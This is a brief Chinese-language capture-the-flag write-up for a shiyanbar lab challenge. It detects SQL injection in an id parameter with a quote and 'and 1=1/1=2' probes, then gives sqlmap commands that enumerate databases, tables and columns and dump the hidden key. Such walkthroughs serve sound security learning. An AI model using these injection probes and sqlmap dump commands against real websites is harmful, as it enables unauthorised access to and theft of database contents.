网站名称：http://ctf5.shiyanbar.com/8/index.php?id=1 1、输入【’】报错，发现注入 2、输入【and 1=1】正常，输入【and 1=2】不正常，证明就是SQL注入 3、sqlmap进行SQL注入，这个可以通过linux虚拟机进行操作，也可以直接在windows操作系统中安装sqlmap进行操作，这个在我的博客里有相关介绍，博客地址：http://blog.csdn.net/lijia1111，安装好sqlmap后输入一下指令：
查看当前数据库： sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -v 1 --current-db 查看表： sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -v 1 -D my_db --tables 查看列： sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -v 1 -D my_db -T thiskey --columns 查看key： sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -v 1 -D my_db -T thiskey -C koy --dump得到key值 如图是我的操作过程： 1、查看当前数据库 2、查看表
3、查看列
4、查看key的值
得到key的值，之前得到的不是正确的，因为当时把k0y看错了。
sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -v 1 --dump -C koy -T thiskey -D my_db当我对sqlmap了解更深入以后，才能输入正确的指令，现在先不对sqlmap指令有深究。。。
